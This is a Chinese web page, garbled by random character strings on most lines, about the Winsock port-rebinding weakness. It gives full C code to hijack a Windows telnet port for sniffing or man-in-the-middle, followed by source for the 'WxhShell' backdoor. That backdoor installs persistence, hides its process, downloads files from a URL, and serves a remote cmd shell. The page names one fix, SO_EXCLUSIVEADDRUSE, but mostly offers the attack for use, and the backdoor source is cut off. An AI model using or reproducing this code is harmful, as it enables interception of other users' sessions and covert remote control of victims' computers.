在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
fBhoGA{=g s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
X(@uw X$m 7b[wu~'(
n saddr.sin_family = AF_INET;
8`=v. pTJX""C saddr.sin_addr.s_addr = htonl(INADDR_ANY);
t~``md4
<lE?, jl bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
T 2F6)e -C-yQ.>\T# 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
y7/F_{ 0hY{<^"Y 这意味着什么?意味着可以进行如下的攻击:
15U (={ !|
#83 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
:|+Qe e
8|6
4R: 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
_n;;][]S C0jj(ku& 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
@-HG`c ct ? *>]")[> 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
x/!5K|c ~PnTaAPJ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
3]RyTQ as*4UT3 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
ZfrVjUB F@ Swe 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
bi[IqU!9 vi.w8>CE #include
4_A0rveP #include
1rKy@9 #include
_>+8og/%@ #include
M{g%cR0 DWORD WINAPI ClientThread(LPVOID lpParam);
^ D%FX!$ int main()
6;'dUGvH {
km~Ll WORD wVersionRequested;
b~=0[Rv DWORD ret;
:cB=SYcC% WSADATA wsaData;
7x);x/#8Z BOOL val;
R;,g1m|] SOCKADDR_IN saddr;
%yBB?cp+_ SOCKADDR_IN scaddr;
F8-?dp f' int err;
ljTBvU SOCKET s;
4}+/F}TbJ5 SOCKET sc;
,XDRO./+T int caddsize;
HY)-/ HANDLE mt;
f+8wl!M+6 DWORD tid;
wO?{?+I`q wVersionRequested = MAKEWORD( 2, 2 );
(aOv#Vor]% err = WSAStartup( wVersionRequested, &wsaData );
svxw^0~a if ( err != 0 ) {
4=<tWa|@9 printf("error!WSAStartup failed!\n");
PB;eHy return -1;
RuII!}* }
F*"}aP$ saddr.sin_family = AF_INET;
Zm6{n' ,) J~ ,^f6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
;)N>t\v pe^u$YE saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
lOtDqb& saddr.sin_port = htons(23);
;4Y%PVz~D if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
&=VDASEu {
DI+fwXeg printf("error!socket failed!\n");
g+J-Zg6 return -1;
bv&;R }
+v=C@2T val = TRUE;
,^uEYT}j //SO_REUSEADDR选项就是可以实现端口重绑定的
z^T`x_mF if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
o!)3? {
c%MW\qx printf("error!setsockopt failed!\n");
V4_=<W return -1;
B)0i:"q }
nDHTV!]< //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
j KoG7HH //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
[eC2"&} //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
?#fu.YE\ HSc~*Q if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
6_FE 4RR[ {
UEguF& ret=GetLastError();
$m/)FnU/ printf("error!bind failed!\n");
m6w].-D8 return -1;
s,]z[qB#$ }
XCBL}pNkR listen(s,2);
Le\?+h42> while(1)
~^1 {B\I {
y !_C/!d caddsize = sizeof(scaddr);
]7RD"} //接受连接请求
|aVn&qK sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
|&zz,+ E if(sc!=INVALID_SOCKET)
d>mo~ {
;IZwTXu !S mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
>&}%+r\ if(mt==NULL)
0eDHu {
++`0rY% printf("Thread Creat Failed!\n");
=`H@% break;
sM `DL }
,,q10iF }
l4uMG]m CloseHandle(mt);
uFinv2Z' }
?gt l )q closesocket(s);
1=d6NX)B WSACleanup();
Wa{` VS return 0;
|xdsl, }
/7Cc#P6 DWORD WINAPI ClientThread(LPVOID lpParam)
]1#e#M]# {
]H+8rY%+ SOCKET ss = (SOCKET)lpParam;
lww!-(<ww SOCKET sc;
3
:<WY&9 unsigned char buf[4096];
3 cK I SOCKADDR_IN saddr;
n'E(y)9| long num;
?kbiMs1;u DWORD val;
{tYZt4!{^ DWORD ret;
vunHNHltW0 //如果是隐藏端口应用的话,可以在此处加一些判断
N_W}*2( //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
'!!CeDy saddr.sin_family = AF_INET;
-"'j7t: saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
}HFN3cq;C saddr.sin_port = htons(23);
3z{?_;bR if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
K8GP@yD]M {
.6+Z^,3 printf("error!socket failed!\n");
Y5- F@( return -1;
5B3G
@KR }
!Prg_6
` val = 100;
dx MOn if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
1WxK#c-) {
#S!)JM|4wk ret = GetLastError();
rWa2pO return -1;
:LF? }
v&DI`xn~ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
xr4*{v {
;g+N&)n ret = GetLastError();
m
Bu return -1;
[9evz}X }
qouhuH_WtJ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
EE&K0<?T|: {
+"
.X
)avF printf("error!socket connect failed!\n");
@\0ez<.p} closesocket(sc);
BC&S> #\ closesocket(ss);
+Vb.lH[av return -1;
Gp?a(-K5 }
?+@n3]`0 while(1)
fphv {
@ym v< Mo //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
x kx^%3dV //如果是嗅探内容的话,可以再此处进行内容分析和记录
tqE6>"jD //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
h\fjBDU^ num = recv(ss,buf,4096,0);
N)uSG&S: if(num>0)
n{n52][J] send(sc,buf,num,0);
eI$oLl@ else if(num==0)
5d Eh7XL break;
-`*a'p-= num = recv(sc,buf,4096,0);
eenH0Ovv if(num>0)
x gVeN[" send(ss,buf,num,0);
(y=C_wvqZ else if(num==0)
HJ=:8: break;
k+# %DK }
w1EXh closesocket(ss);
>*~L28Fyn closesocket(sc);
oR)Jznmi} return 0 ;
R1adWBD> }
@K &GJ K
-nF lPm\ hO\<%0F ==========================================================
E:UW#S%A
f [L3=x;U 下边附上一个代码,,WXhSHELL
xK *b1CB pA'4|ffwe ==========================================================
k3lS8d7 dP9qSwTa #include "stdafx.h"
[owWiN4`s ^n*)7K[
#include <stdio.h>
z`.<U{5 #include <string.h>
1!xQ=DU" #include <windows.h>
'F+C4QAq #include <winsock2.h>
Nyku4r0 #include <winsvc.h>
{%rA1g #include <urlmon.h>
Fco`^kql.D H4WP~(__ #pragma comment (lib, "Ws2_32.lib")
7x"R3 #pragma comment (lib, "urlmon.lib")
u
1>2v :(/~:^! #define MAX_USER 100 // 最大客户端连接数
du<tGsy #define BUF_SOCK 200 // sock buffer
h9t$Uz^N #define KEY_BUFF 255 // 输入 buffer
lp.ldajN m(r,Acy6 #define REBOOT 0 // 重启
qmkAg }2 #define SHUTDOWN 1 // 关机
k$ 4y9{ `!obGMTQ< #define DEF_PORT 5000 // 监听端口
b)6D_Az7c UFXaEl}R #define REG_LEN 16 // 注册表键长度
W>${zVu #define SVC_LEN 80 // NT服务名长度
52@C9Q, H`*LBqDk // 从dll定义API
:tz#v`3o typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
+5w))9@ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
G!Op~p@Jm typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
0pZ4BZdT| typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
!O\82d1P fe\mL mK9 // wxhshell配置信息
W,K;6TZhh struct WSCFG {
j_qbAP int ws_port; // 监听端口
h1j!IG char ws_passstr[REG_LEN]; // 口令
w;%.2VJ int ws_autoins; // 安装标记, 1=yes 0=no
/
kF) char ws_regname[REG_LEN]; // 注册表键名
6/f7< char ws_svcname[REG_LEN]; // 服务名
4-l8,@9 char ws_svcdisp[SVC_LEN]; // 服务显示名
+jAGGv^) char ws_svcdesc[SVC_LEN]; // 服务描述信息
BGvre'67 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Q7HRzA^- int ws_downexe; // 下载执行标记, 1=yes 0=no
%vn|k[nD char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
NpE*fR') char ws_filenam[SVC_LEN]; // 下载后保存的文件名
NN%*b yK 3(="YbZ };
^ sOQi6pL Jz\%%C // default Wxhshell configuration
q;B4WL} struct WSCFG wscfg={DEF_PORT,
R "xuhuanlingzhe",
;!>rnxB?4 1,
pI1-cV,` "Wxhshell",
} +TORR? "Wxhshell",
)%`c_FL@N= "WxhShell Service",
oTEL?hw5 "Wrsky Windows CmdShell Service",
B~'vCuE "Please Input Your Password: ",
l3{-z4mw 1,
=T3<gGM "
http://www.wrsky.com/wxhshell.exe",
dph{74Dc "Wxhshell.exe"
r7RIRg_ };
8^kGS-+^ /,BD#| // 消息定义模块
]P9l jwR char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
]RZ|u*l=x char *msg_ws_prompt="\n\r? for help\n\r#>";
s%vis{2 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
,cXD.y char *msg_ws_ext="\n\rExit.";
)1Y{Q Y}l char *msg_ws_end="\n\rQuit.";
jrCfWa}z char *msg_ws_boot="\n\rReboot...";
V )3KS- char *msg_ws_poff="\n\rShutdown...";
Rm2yPuOU}A char *msg_ws_down="\n\rSave to ";
DRSr%d ;d@#XIS&-( char *msg_ws_err="\n\rErr!";
,dv+p&Tz2 char *msg_ws_ok="\n\rOK!";
6gkV*|U,e Yc`o5Q\> char ExeFile[MAX_PATH];
0XOp3 int nUser = 0;
O+nEXS\rQ HANDLE handles[MAX_USER];
v>6"j1Z int OsIsNt;
ISzqEi 5A,K6f@:g SERVICE_STATUS serviceStatus;
`A,-@`p SERVICE_STATUS_HANDLE hServiceStatusHandle;
,A9]CQ
pg6cF // 函数声明
_Ym]Mj' ln int Install(void);
cA&9e< int Uninstall(void);
n#cC+>*>+ int DownloadFile(char *sURL, SOCKET wsh);
kc2PoJ int Boot(int flag);
V~UN void HideProc(void);
_1!7V3|^ int GetOsVer(void);
T5|qRlW int Wxhshell(SOCKET wsl);
QpF;:YX^3 void TalkWithClient(void *cs);
W1WYej" int CmdShell(SOCKET sock);
b
k~(^!R int StartFromService(void);
a f6M,{F int StartWxhshell(LPSTR lpCmdLine);
i9rN9Mq?O ]v?@g:iE VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
@Rg/~\ K VOID WINAPI NTServiceHandler( DWORD fdwControl );
w3N[9w?1 n"$jG:AQJ // 数据结构和表定义
BfXgh'Z~ SERVICE_TABLE_ENTRY DispatchTable[] =
M+-*QyCFK {
36.Z0Z1'F> {wscfg.ws_svcname, NTServiceMain},
Dxtp2wu%t {NULL, NULL}
oph}5Krd) };
&`h{iK7 .4S.>~^7 // 自我安装
1&\0:vA^Y int Install(void)
sZ'nYo {
8aZ=?_gvT char svExeFile[MAX_PATH];
} FE>|1 HKEY key;
9/9j+5}+ strcpy(svExeFile,ExeFile);
GL&y@6 bkRLC_/d // 如果是win9x系统,修改注册表设为自启动
|Yx~;q: if(!OsIsNt) {
__uA}fZp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
;i4Q| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
CMe
06^U RegCloseKey(key);
CJtcn_.F if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
P)"noG_'i RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>d@&2F TO RegCloseKey(key);
i|c'Lbre` return 0;
u\a#{G;Z }
XFg9P}" }
"_P;2N6 }
Q[Z8ok else {
% BVs47g 0mpX)S // 如果是NT以上系统,安装为系统服务
JELTo u SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
ycc4W*] if (schSCManager!=0)
#:jHp44J {
Y1L[;)H n SC_HANDLE schService = CreateService
,ZaRy$? (
j~"Q3P;V schSCManager,
GC<l#3+ wscfg.ws_svcname,
B`YTl~4 wscfg.ws_svcdisp,
,NOsFO-`< SERVICE_ALL_ACCESS,
2$9odD<r SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Wfu(* SERVICE_AUTO_START,
q6@Lp^f SERVICE_ERROR_NORMAL,
bW$,?8( svExeFile,
$>G8_q NULL,
:Hn6b$Vy8 NULL,
.>q8W NULL,
vhe>)h*B NULL,
C](f>)Dz
/ NULL
O $LfuL );
iyA'#bE- if (schService!=0)
cIUHa {
>/g#lS 5 CloseServiceHandle(schService);
R(!s CloseServiceHandle(schSCManager);
nR7d4) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
mkMq strcat(svExeFile,wscfg.ws_svcname);
81](T< if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
kv]~'Srk RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
1G"z<v
B RegCloseKey(key);
hM@
H A return 0;
>x/z7v?^I }
O&vVv _zh }
-5
RD)(d CloseServiceHandle(schSCManager);
xRJ\E }/7 }
+GG9^:<yr }
4^:\0UF bmJ5MF]_fG return 1;
ztnFhJ<a$ }
3Iua*#<m, %9w::hav // 自我卸载
rk&IlAE int Uninstall(void)
0QFS {
"*($cQ$v HKEY key;
p%#<D9S QXL'^uO if(!OsIsNt) {
1jCLO} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
(XeE2l2M RegDeleteValue(key,wscfg.ws_regname);
PjZvQ\Z RegCloseKey(key);
,3?Q(=j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
XnDUa3 RegDeleteValue(key,wscfg.ws_regname);
Z LB4m` RegCloseKey(key);
N2B|SO'' return 0;
'w!Cn> }
_/F7?^j }
7"aN#;& }
Hcl(3>Jn2 else {
mlixIW2 ?sab*$wG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
LwrUQ) if (schSCManager!=0)
LISM ngQ. {
M1 :uJkO. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
t5[#x4
p if (schService!=0)
I2TaT(e\ {
`JOOnTenQ if(DeleteService(schService)!=0) {
n.T&}ZPz\v CloseServiceHandle(schService);
>XK
PTC5H CloseServiceHandle(schSCManager);
uZM{BgXXD return 0;
~T9/#-e>BF }
aAJU`=uq CloseServiceHandle(schService);
]or>?{4g }
}x@2]juJ CloseServiceHandle(schSCManager);
61.Brp.eP }
DKne'3pH }
:ZTc7} ^c<ucv6. return 1;
0KYEb%44 }
K#EvFs`s; IAYR+c // 从指定url下载文件
=G]1LTI int DownloadFile(char *sURL, SOCKET wsh)
[baiH|5> {
y<HO:kZ8` HRESULT hr;
=x!2Ak/) char seps[]= "/";
@{YS}&Q/ char *token;
%`OJ.:k char *file;
g}f`,r9 char myURL[MAX_PATH];
}lh I\q char myFILE[MAX_PATH];
FuVnk~gq >SML"+> strcpy(myURL,sURL);
Zw*v token=strtok(myURL,seps);
\n{qsf: while(token!=NULL)
ko Z {
s>0't file=token;
3^R&:|, token=strtok(NULL,seps);
:A1{ d?B }
,8:(OB|a V^JV4 `o GetCurrentDirectory(MAX_PATH,myFILE);
/e7O$L)
strcat(myFILE, "\\");
(5R?#vj strcat(myFILE, file);
zhpx"{_ send(wsh,myFILE,strlen(myFILE),0);
7N-w eX send(wsh,"...",3,0);
L{hnU7sY hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
My<snmr2d if(hr==S_OK)
"SzdDY6 return 0;
~V&aUDO>/ else
9/hrjItV return 1;
.#1~Rz1r Qk\A
c }
eln&]d;
l7W 6qNB // 系统电源模块
Ko;{I?c int Boot(int flag)
MP_'D+LS {
Cg&e(
HANDLE hToken;
(@t(?Js TOKEN_PRIVILEGES tkp;
RnhL<
Ywu Fe]B&n if(OsIsNt) {
5#> 8MU?& OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
u#Z#)3P LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
*8#i$w11M tkp.PrivilegeCount = 1;
p /#$io tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
_h X]% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
/h*>P:i]. if(flag==REBOOT) {
5D_fXfx_| if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
T-5nB>) return 0;
uM_# }
R,F[XI+=N else {
v=_6XF if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
VwOW=4`6 return 0;
5Cq{XcXV }
c3:,Ab| }
2_zp:v else {
`t_W2y if(flag==REBOOT) {
(xVsDAp=@ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
9T|IvQK8 return 0;
%kB8'a3 }
NR -!VJQ else {
"Qja1TQ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
dHK`eS$sb return 0;
xER\ZpA:, }
7VMvF/ap]u }
\
C+(~9@| c0hwc1kv- return 1;
Xlb0/T<g! }
<^zHE=h" du)~kU>l // win9x进程隐藏模块
hO';{Nl/$ void HideProc(void)
KuMF^0V%c {
}; f#^gz' T}"6wywM HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
;PjQt=4K if ( hKernel != NULL )
mml<9fbH {
|b*?
qf pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
'B@e8S)y ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
G}FIjBE FreeLibrary(hKernel);
^my].Qpt }
;_^fk&+ "g'jPwFG return;
,(;lIP }
d)pV;6%[$q 6S+U&Ce\ // 获取操作系统版本
/)dFK~ int GetOsVer(void)
;$a@J& {
# *TEq OSVERSIONINFO winfo;
M-;4 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
RLSc+kDH_ GetVersionEx(&winfo);
Clh!gpB c if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
:dLAs@z return 1;
T'LIrf else
$ZNu+tn
Y return 0;
I('Un@hS }
v76D3'8 (s{RnD // 客户端句柄模块
Oi:<~E[kz. int Wxhshell(SOCKET wsl)
[-)r5Dsdq {
Op>%?W8/UF SOCKET wsh;
'
4ER00 struct sockaddr_in client;
^|TG$`M(w DWORD myID;
MW PvR|Q dlG=Vq&Y while(nUser<MAX_USER)
2^)1N>"g {
"h|'}7p int nSize=sizeof(client);
_z54Ycr4H wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
fm^@i;D
if(wsh==INVALID_SOCKET) return 1;
7{xh8#m <D::9c j handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
SL,p36N if(handles[nUser]==0)
}sx_Yj closesocket(wsh);
Ton94:9bZ else
> ]8a3x nUser++;
fPrLM' }
@fa@s-wb WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
OQ,NOiNkap cetvQAGXY return 0;
o ,xxh }
9
Rx
s bcAvM; // 关闭 socket
[Tnsr(Z void CloseIt(SOCKET wsh)
6:]*c[7 {
,:%"-`a% closesocket(wsh);
;r6jx"i nUser--;
]q6;#EUr? ExitThread(0);
/"?HZ% W }
l$YC/bP Q//,4>JKf // 客户端请求句柄
&
u!\<\ void TalkWithClient(void *cs)
j+^oz'q {
!=y]Sv~h Ed:eGm } SOCKET wsh=(SOCKET)cs;
<HRBMSR+ char pwd[SVC_LEN];
wP57Pf0 char cmd[KEY_BUFF];
T<I=%P) char chr[1];
zz^F
k& int i,j;
1&/FG(*/ *-12VIG'H while (nUser < MAX_USER) {
5"/J^"!h ^0#;YOk if(wscfg.ws_passstr) {
af|5n><~A if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
fRfn2jA)d //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
l?iSxqdT //ZeroMemory(pwd,KEY_BUFF);
a,o_`s< i=0;
;r/;m\V while(i<SVC_LEN) {
up2+s# vfNAs>X g" // 设置超时
s!9dQ. fd_set FdRead;
L.T?}o struct timeval TimeOut;
N-g8}03 FD_ZERO(&FdRead);
zd_HxYrN FD_SET(wsh,&FdRead);
Jjl%R[mI TimeOut.tv_sec=8;
g}f9dB,F TimeOut.tv_usec=0;
[DHoGy,P int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
P"lBB8\eku if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
~O 3D[PNW~ KvQ,;A if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
5[{*{^F4 pwd
=chr[0]; 7n o5b]
\
if(chr[0]==0xd || chr[0]==0xa) { Uu 7dSU
pwd=0; ez3Z3t`
break; s!+"yK
} f(D_FTTO
i++; gq"k<C0
} =V97;kq+v
`O^G5 0
// 如果是非法用户,关闭 socket Cv)/7vyB8
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7B3w\
} Gq#~vr
J!ntXF
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dP]1tAO,y
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .bD_R7Bi6
^O^:$nXhYy
while(1) { uE=$p)
rs=q!
P"u[
ZeroMemory(cmd,KEY_BUFF); }%TSGC4{
X~Rl 6/,
// 自动支持客户端 telnet标准 ^")F7`PF
j=0; !5}l&7:(MN
while(j<KEY_BUFF) { 6O2=Ns;J6
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -V %gVI[
cmd[j]=chr[0]; r'BAT3
if(chr[0]==0xa || chr[0]==0xd) { +~nzii3
cmd[j]=0;
he+#Q6
break; wyxGe<1
} d h^^G^
j++; 3}1ssU"T
} ]>i~6!@
,%#
// 下载文件 t j Vh^
if(strstr(cmd,"http://")) { T:asm1BC[
send(wsh,msg_ws_down,strlen(msg_ws_down),0); T_<BVM
if(DownloadFile(cmd,wsh)) t@?u
send(wsh,msg_ws_err,strlen(msg_ws_err),0); o**y Z2
else ~<qt%W?
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S\NL+V?7h
} 0m9ZQ
O
else { FdOFE.l
w8~K/>!f
switch(cmd[0]) { |`yZIY_
L$v^afP?
// 帮助 u3tZ[Y2 c
case '?': { 9vGs;
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b 1^n KB
break; )E7 FA|
} }ZZ5].-a<D
// 安装 CidM(
case 'i': { +zOOdSFk.
if(Install()) @u4=e4eF`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U!q[e`B
else !#D=w$@r:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _EYB
8e
break; {M~lbU
} Il~01|3+m
// 卸载 17UK1Jx,
case 'r': { fJ80tt?r
if(Uninstall()) ~0tdfK0c
send(wsh,msg_ws_err,strlen(msg_ws_err),0); J0<p4%Cf
else T.?k>Ak
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K!8zwb=fq
break; FbSa ~uN
} ')PVGV(D+
// 显示 wxhshell 所在路径 @]
.VQ<X|0
case 'p': { +$beo2x6
char svExeFile[MAX_PATH]; ~5#)N{GbY
strcpy(svExeFile,"\n\r"); $@[)nvV\
strcat(svExeFile,ExeFile); =d20Xa
send(wsh,svExeFile,strlen(svExeFile),0); ,r+"7$
break; $-pbw@7
} saK;[&I*
// 重启 u35q,u=I
case 'b': { ]O{_O&w
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !;}2F-
if(Boot(REBOOT)) ]if;A ) '
send(wsh,msg_ws_err,strlen(msg_ws_err),0); c;V D}UD'
else { |_pl;&;:
closesocket(wsh); m4**>!I
ExitThread(0); #vnT&FN0[
} el@XK}<dr
break; ?n*fy
} ,Aa|Bd]b
// 关机 APHPN:v
case 'd': { OlcP(
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %-^}45](q
if(Boot(SHUTDOWN)) "a(1s},
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E%*AXkJ'dZ
else { |zMqJ.qu
closesocket(wsh); ~zMKVM1Q.,
ExitThread(0); AVpuMNd@
} ]gP8?s|
break; >(tO
QeN
} i_Ar<9a~
// 获取shell y&rY0bm
case 's': { u9>6|w+
CmdShell(wsh); =HPu{K$
closesocket(wsh); R~c1)[[E
ExitThread(0); )k%M.{&bji
break; |Y{PO&-?r
} /+P5)q
TKL
// 退出 :0dfB&7
case 'x': { SQIdJG^:
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '^1o/C
CloseIt(wsh); ^Jtl;Q
break; TolrEcI
} b A+[{
// 离开 _S<?t9mS
case 'q': { ;&`:|Hf*
send(wsh,msg_ws_end,strlen(msg_ws_end),0); <,-,?
closesocket(wsh); "i''Ui\H
WSACleanup(); [Pqn3I[
exit(1); {e6KJ@H6
break; {9{J^@ @
} y {;u@o?T
} f-]><z
} MBv/
=VCQ*
// 提示信息 C$ hQN
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u7~mnl
} x!`KhTu`_A
} a'^0.1
Av[Ud
*~
return; h;}ODK(.
} T8mY#^sW_
*sAOpf@M
// shell模块句柄 \3:
L Nt
int CmdShell(SOCKET sock) )?9\$^I
{ K
/8qB~J*
STARTUPINFO si; :OX$LCi
ZeroMemory(&si,sizeof(si)); [^Q&suy
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *CT.G'bQX
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8LeKwb
PROCESS_INFORMATION ProcessInfo; ktWZBQY
char cmdline[]="cmd"; m/KjJ"s,
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); l)%mqW%
return 0; 0hb/`[Q
} N@}gLBf
/xF 9:r
// 自身启动模式 wU.'_SBfB
int StartFromService(void) CBIT`k.+
{ .2/,XwIr
typedef struct a.1`\$]d
{ wyNC|P;j$g
DWORD ExitStatus; p ^](3Vi(
DWORD PebBaseAddress; &6Ns7w6*z
DWORD AffinityMask; {DSyV:
DWORD BasePriority; l-Fmn/V
ULONG UniqueProcessId; hO%Y{Gg
